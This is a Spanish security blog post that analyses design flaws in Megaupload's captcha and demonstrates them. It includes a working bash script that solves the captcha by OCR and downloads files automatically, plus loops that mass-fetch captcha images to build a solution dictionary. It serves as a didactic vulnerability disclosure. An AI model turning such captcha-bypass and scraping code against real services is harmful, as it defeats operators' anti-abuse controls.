saltarse el capcha manual de megaupload

Megaupload es un servicio de hospedaje de ficheros comúnmente utilizado para subir distribuciones de linux y contenido freeware en general [...]

Si se accede mediante el servicio gratuito, la aplicación nos obliga a que veamos publicidad y tengamos que esperar un tiempo antes de poder acceder al contenido.

Para evitar que se creen herramientas para la bajada de archivos de forma automática, masiva y desatendida, han implantando una solución de captcha, o lo que es lo mismo, muestran una imagen con letras y solicitan que se escriba el texto antes de poder continuar.

Una vez introducido y puestos en contexto, analizamos los distintos motivos por los que la implantación que han realizado de esta medida es insuficiente. La siguiente imagen muestra un ejemplo.

1. Longitud: el tamaño de la cadena del texto es siempre de tres caracteres, lo que es una doble vulnerabilidad: el tamaño es siempre el mismo, nunca lo encontraremos de dos o uno y sobra decir que "tres" es insuficiente incluso si hablamos de novias.
   
   
2. Caracteres: el problema anterior se ve potenciado al restringirse los caracteres utilizados al abecedario en mayúsculas [A-Z], en total 26^3 = 17.576 posibles soluciones ¿por qué no números? ¿por que no caracteres especiales? Seguro que la explicación la tiene un director de marketing...
   


3. Colorines de las letras: si nos fijamos en la imagen vemos que cada letra tiene un color, esta es una práctica correcta siempre y cuando los colores se alteren y el azar entre en juego. En el caso que nos ocupa el primero siempre será "#786464", el segundo "#aa6464", y el tercero "#dc6464".


4. URL: la dirección que genera la imagen no es estática, es decir, para cada imagen que se muestra, existe una URL distinta. Lo que causa que se puedan hacer diccionarios del tipo "url->texto de imagen". Esto se comprueba de una forma sencilla, si abrimos la siguiente dirección web y pulsamos varias veces a actualizar, veremos que nunca cambia el texto.
   

   http://www.megaupload.com/capgen.php?064cb4f01e9a5ad3

5. La fuente: seguramente el problema más importante, el tipo de letra es sencillo (nuevamente huele a marketing por aquí). Es tan sencillo, que un sistema de reconocimiento óptico de carácteres (OCR), acierta en el 99% de los casos en el análisis, aunque antes haya que jugar un poquito con la imagen. En general se deben de usar varias fuentes y modificar las imágenes distorsionándolas ligeramente y utilizando sistemas de azar. El objetivo es evitar la generación de un diccionario en base la fuente utilizada.


6. El fondo: blanco Ariel, sin una mota, es todo lo malo que podría ser. No se me ocurre ninguna manera de hacerlo peor. El fondo debería tener líneas y colores no predecibles.

Bueno, como teoría está bien, pero ahora veamos como explotar estas vulnerabilidades de forma sencilla y espero que didáctica.

ATAQUE 1.

He desarrollado un pequeño script en bash para la descarga directa de megaupload. Lo podeís descargar de aquí. Para que funcione es necesario que este instalado el paquete gocr y ImageMagick. Está probado en Fedora Core 8. Su ejecución es tal que: script.sh [url], donde la url es del tipo: http://www.megaupload.com/?d=XXXXXXXX

1. #!/bin/bash
2. # aramosf<@>gmail.com http://www.securitybydefault.com
3. # Mon Dec 8 19:10:57 CET 2008
4. 
   
5. html=`curl -L -s $1`
6. d=`echo $1 | sed -e 's/.*d=\(.*\)/\1/g'`
7. megavar=`echo "$html" | grep megavar |sed -e 's/.*value="\(.*\)".*/\1/'`
8. imagecode=`echo "$html" | grep imagecode |sed -e 's/.*value="\(.*\)".*/\1/'`
9. captcha=`echo "$html" | grep capgen | sed -e 's/.*php?\(.*\)".*/\1/'`
   

Estas primeras líneas hacen una petición a la web y guardan distintos valores que han de ser enviados junto al texto que se muestra en el captcha y que nos permitirá avanzar. La número 9 almacena en una variable la cadena de texto que representa el nombre del archivo del captcha.

10. file=`echo /tmp/$RANDOM.gif`
11. letra1=`echo /tmp/$RANDOM.gif`;
12. letra2=`echo /tmp/$RANDOM.gif`;
13. letra3=`echo /tmp/$RANDOM.gif`;
14. curl -s http://www.megaupload.com/capgen.php?$captcha -o $file
15. convert -fill "#000000" -opaque "#786464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $file $letra3
16. convert -fill "#000000" -opaque "#aa6464" -fill "#ffffff" -fuzz 45% -opaque "#aa6464" $file $letra2
17. convert -fill "#000000" -opaque "#dc6464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $file $letra1
18. imagestring=`gocr -C "A-Z" -i $letra3``gocr -C "A-Z" -i $letra2``gocr -C "A-Z" -i $letra1`

La línea 14 almacena la imagen del captcha en un fichero en local que posteriormente será procesado tres veces, una por cada letra. De la línea 15 a la 17 procesa la imagen tratando de ayudar a la aplicación de reconocimiento de texto "gocr" mediante el coloreado en negro de la letra, y la eliminación de las otras dos, de esta forma, se examina una a una. En el siguiente ejemplo se ve procesada una de estas imágenes:

La línea 18 llama a la aplicación gocr por triplicado que procesará todas las imagenes generadas y construirá el resultado del captcha.

19. rm -f $file $letra1 $letra2 $letra3
20. html=`curl -e "$1" -L -s -d "megavar=$megavar&imagecode=$imagecode&d=$d&imagestring=$imagestring" http://www.megaupload.com/`
21. abs=`echo "$html"|grep Math.abs|sed -e 's/.*Math.abs(-\(.*\))).*/\1/'`
22. absn=$(printf \\$(printf '%03o' $abs))
23. stxt=`echo "$html"|grep sqrt|sed -e "s/var . = '\(.*\)'.*/\1/"`
24. sqrt1=`echo "$html"|grep sqrt|sed -e "s/.*sqrt(\(.*\))).*/\1/"`
25. sqrt2=`echo -e "sqrt($sqrt1)\nquit\n" | bc -q -i`
26. sqrtn=$(printf \\$(printf '%03o' $sqrt2))
27. string="${stxt}${sqrtn}${absn}"
28. urld=`echo "$html" | grep megaupload.com/files/ | sed -e 's|.*
29. urldl=`echo $urld | sed -e "s/'.*'/$string/g"`
30. filename=`echo $urldl|sed -e "s|.*/\(.*\)|\1|"`
31. echo Descargando: $filename
32. echo Espera de 45 segundos
33. sleep 46
34. curl "$urldl" -o "$filename"

El resto del script procesa otra pequeña trampa que tiene la página web en javascript para construir la url final y descargar el fichero tras esperar los 45 segundos (esto en principio no se puede evitar). No entro a explicarlo porque daría pie a otro post. Si alguien lo pide en algún comentario, lo cuento detalladamente otro día.

ATAQUE 2.

Para generar un diccionario con todos los captcha, el primer paso es obtenerlos, Hemos comentado que existían 17.576 combinaciones posibles, cada una de estas combinaciones puede estar modificada 8 veces con pequeños giros distintos. Por lo que el total de captchas en el sistema es de 17576 *8 = 140.608.

Como prueba de concepto, solo comento el método y muestro una pequeña base de datos con unos cuantos miles, sería cuestión de tiempo e interés la obtención de la totalidad.

La siguiente línea, guardará 10.000 ficheros en el directorio actual:

for i in `seq 1 10000`; do gotxa=`curl -s "http://www.megaupload.com/?d=L50U5WWE" |grep capgen|sed -e 's/.*img src="\/capgen.php?\(.*\)".*/\1/'`; echo -n "$i-"; if [ -f $gotxa.gif ]; then echo "$gotxa:skip"; else wget -q "http://www.megaupload.com/capgen.php?$gotxa" -O $gotxa.gif; echo $gotxa; fi; done

Esta otra línea, ejecutada en el mismo directorio que el anterior, guardará en un fichero denominado "BBDD", una relación tal que "hash del captcha:letras".

for i in *.gif; do convert -fill "#000000" -opaque "#786464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $i 3.gif; convert -fill "#000000" -opaque "#aa6464" -fill "#ffffff" -fuzz 45% -opaque "#aa6464" $i 2.gif; convert -fill "#000000" -opaque "#dc6464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $i 1.gif; echo -n "$i "`gocr -C "A-Z" -i 3.gif``gocr -C "A-Z" -i 2.gif``gocr -C "A-Z" -i 1.gif`; echo; done|awk '{ print $2, $1}'| sort | uniq > BBDD

Aquí el ejemplo del resultado.

Si analizáis en detalle como son posibles estos ataques, os daréis cuenta que se utilizan varias de las debilidades contadas al inicio, evidenciando una vez más que un grano no hace granero, pero ayuda al compañero.

Fuente:http://www.securitybydefault.com/2008/12/fail-captcha-de-megaupload.html